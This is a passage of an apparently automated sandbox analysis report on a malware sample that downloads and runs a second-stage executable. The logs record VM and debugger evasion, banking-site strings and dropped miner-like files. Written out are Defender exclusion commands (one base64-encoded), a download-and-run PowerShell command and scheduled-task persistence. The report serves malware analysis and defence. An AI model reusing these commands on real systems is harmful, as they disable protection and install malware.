Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599342 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599066 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598842 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598734 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5506 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4329 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4158 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5641 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Window / User API: threadDelayed 618 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Window / User API: threadDelayed 3329 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Window / User API: threadDelayed 3008 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Window / User API: threadDelayed 2385 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Window / User API: threadDelayed 1866 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 7249
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2445
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Dropped PE file which has not been started: C:\ProgramData\Dllhost\WinRing0x64.sys Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Dropped PE file which has not been started: C:\ProgramData\Dllhost\winlogson.exe Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884 Thread sleep count: 5506 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884 Thread sleep count: 4329 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7932 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096 Thread sleep count: 4158 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8096 Thread sleep count: 5641 > 30 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140 Thread sleep time: -21213755684765971s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8152 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 1104 Thread sleep count: 618 > 30 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 2432 Thread sleep count: 3329 > 30 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 2432 Thread sleep time: -3329000s >= -30000s Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 752 Thread sleep count: 3008 > 30 Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 752 Thread sleep time: -3008000s >= -30000s Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 5396 Thread sleep time: -240000s >= -30000s Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe TID: 7252 Thread sleep count: 2385 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -6456360425798339s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7508 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599890s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1960 Thread sleep count: 324 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1960 Thread sleep count: 1866 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599781s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599672s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 1596 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599562s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599453s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599342s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599234s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -599066s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -598842s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -598734s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -598625s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe TID: 7520 Thread sleep time: -598516s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816 Thread sleep count: 7249 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7908 Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7816 Thread sleep count: 2445 > 30
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\dmikhsv\file_scaricato.exe WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT TotalPhysicalMemory FROM Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\dmikhsv\file_scaricato.exe Last function: Thread delayed
Source: C:\dmikhsv\file_scaricato.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624709D44 FindFirstFileExW, 0_2_00007FF624709D44
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599890 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599781 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599672 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599562 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599453 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599342 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599234 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 599066 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598842 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598734 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Binary or memory string: Vmwaretrat
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Binary or memory string: vboxservice
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: discord.comVMware20,11696487552f
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file_scaricato.exe, 0000000E.00000003.1580250080.0000000001582000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732184735.000000000155C000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.1555290056.0000000001583000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732427947.000000000158B000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090210015.0000000001588000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502538901.00000000043DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: &VBoxService.exe
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Binary or memory string: Vmwareuser
Source: file_scaricato.exe, 0000000E.00000003.1502538901.00000000043D7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1730967623.00000000028F1000.00000004.00000800.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr Binary or memory string: vboxtray
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: VBoxService.exe
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: ~VirtualMachineTypes
Source: ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000002.1728661956.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr Binary or memory string: Vmtoolsd
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000BFF000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: VMWare
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: file_scaricato.exe, 0000000E.00000002.3730905917.0000000000D49000.00000040.00000001.01000000.00000005.sdmp Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: file_scaricato.exe, 0000000E.00000003.1502636334.00000000043CF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Found API chain indicative of debugger detection
Source: C:\Users\user\Desktop\Arly.exe1.exe Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep
Hides threads from debuggers
Source: C:\dmikhsv\file_scaricato.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\dmikhsv\file_scaricato.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BE9630 LdrInitializeThunk, 14_2_00BE9630
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F1E50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6246F1E50
Contains functionality to read the PEB
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_033C80A6 mov eax, dword ptr fs:[00000030h] 14_2_033C80A6
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_033C7DD0 mov eax, dword ptr fs:[00000030h] 14_2_033C7DD0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF62470B9E8 GetProcessHeap, 0_2_00007FF62470B9E8
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F1E50 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6246F1E50
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F9E3C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_00007FF6246F9E3C
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F1FF4 SetUnhandledExceptionFilter, 0_2_00007FF6246F1FF4
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246F1B9C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_00007FF6246F1B9C
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'"
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Encrypted powershell cmdline option found
Source: C:\Windows\SysWOW64\cmd.exe Process created: Base64 decoded <#JE00Lt7RDo#> Add-MpPreference <#evp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#LuDn#> -Force <#6Aeatn#>
Source: C:\Windows\SysWOW64\cmd.exe Process created: Base64 decoded <#JE00Lt7RDo#> Add-MpPreference <#evp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#LuDn#> -Force <#6Aeatn#>
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF6246E31C0 GetModuleFileNameW,ShellExecuteW, 0_2_00007FF6246E31C0
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" Jump to behavior
Source: C:\Users\user\Desktop\Arly.exe1.exe Process created: C:\dmikhsv\file_scaricato.exe "C:\dmikhsv\file_scaricato.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Add-MpPreference -ExclusionPath 'C:\dmikhsv', 'C:\Users', 'C:\ProgramData'" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA=" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk5482" /TR "C:\ProgramData\Dllhost\dllhost.exe" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAEoARQAwADAATAB0ADcAUgBEAG8AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBlAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBMAHUARABuACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjADYAQQBlAGEAdABuACMAPgA="
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\powercfg.exe powercfg /x -hibernate-timeout-dc 0
